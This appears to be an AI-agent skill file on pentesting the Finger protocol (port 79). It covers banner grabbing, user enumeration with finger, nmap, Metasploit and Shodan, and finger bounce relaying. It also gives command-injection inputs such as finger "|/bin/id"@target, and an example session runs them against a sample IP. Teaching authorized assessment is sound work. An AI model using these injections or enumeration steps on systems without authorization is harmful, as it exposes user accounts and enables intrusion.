| name | finger-pentest |
| description | How to enumerate and exploit the Finger protocol (port 79) during security assessments. Use this skill whenever you need to enumerate users on a target system, check for finger service vulnerabilities, perform banner grabbing on port 79, or test for command injection and finger bounce attacks. Trigger this skill when the user mentions finger protocol, port 79, user enumeration, or needs to assess finger service security. |
Finger Protocol Pentesting
A skill for enumerating and exploiting the Finger protocol (TCP port 79) during security assessments.
When to Use This Skill
Use this skill when:
- You need to enumerate users on a target system via the Finger protocol
- Port 79 is open on a target during reconnaissance
- You're performing user enumeration as part of an assessment
- You need to test for finger protocol vulnerabilities (command injection, bounce attacks)
- You want to gather information about user accounts on a remote system
Basic Information
The Finger protocol (RFC 1288) is a legacy service used to retrieve information about users on a system. It typically reveals:
- Login names and full names
- Office location and phone numbers
- Login time and idle time
- Last mail read time
- Contents of plan and project files
Default port: 79/tcp
Enumeration Techniques
1. Banner Grabbing and Basic Connection
Start with a simple connection to verify the service is running:
nc -vn <target-ip> 79
nc -vn <target-ip> 79 <<< "root"
2. User Enumeration
Query the finger service to list available users:
finger @<target-ip>
finger admin@<target-ip>
finger user@<target-ip>
3. Automated User Enumeration
Use finger-user-enum.pl (from pentestmonkey) for batch enumeration:
finger-user-enum.pl -U /path/to/users.txt -t <target-ip>
finger-user-enum.pl -u root -t <target-ip>
finger-user-enum.pl -U /path/to/users.txt -T /path/to/ips.txt
4. Nmap Scripts
Use Nmap's built-in finger scripts:
nmap -sV -p 79 <target-ip>
nmap --script finger <target-ip>
nmap --script finger-users <target-ip>
5. Metasploit
Metasploit provides auxiliary modules for finger enumeration:
msfconsole
use auxiliary/scanner/finger/finger_users
set RHOSTS <target-ip>
run
6. Shodan Search
Search for finger services on the internet:
port:79
port:79 "USER"
Exploitation Techniques
Command Injection
Some finger implementations are vulnerable to command injection:
finger "|/bin/id"@<target-ip>
finger "|/bin/ls -a /"@<target-ip>
Finger Bounce Attack
Use a compromised system as a relay to access internal networks:
finger user@internal-host@external-relay
finger @internal-system@external-system
Workflow
- Reconnaissance: Identify if port 79 is open on the target
- Banner Grabbing: Connect to port 79 to verify service
- User Enumeration: Query for user information using various techniques
- Vulnerability Testing: Test for command injection and bounce vulnerabilities
- Documentation: Record all findings for the assessment report
Example Session
nmap -p 79 192.168.1.100
nc -vn 192.168.1.100 79
finger @192.168.1.100
for user in root admin test; do
echo "=== $user ==="
finger $user@192.168.1.100
done
finger "|/bin/id"@192.168.1.100
Notes
- The Finger protocol is largely deprecated and rarely found on modern systems
- Many systems block port 79 at the firewall level
- Always have proper authorization before testing finger services
- Document all findings as they may reveal valid usernames for further testing
- Be aware that some finger implementations may log queries
References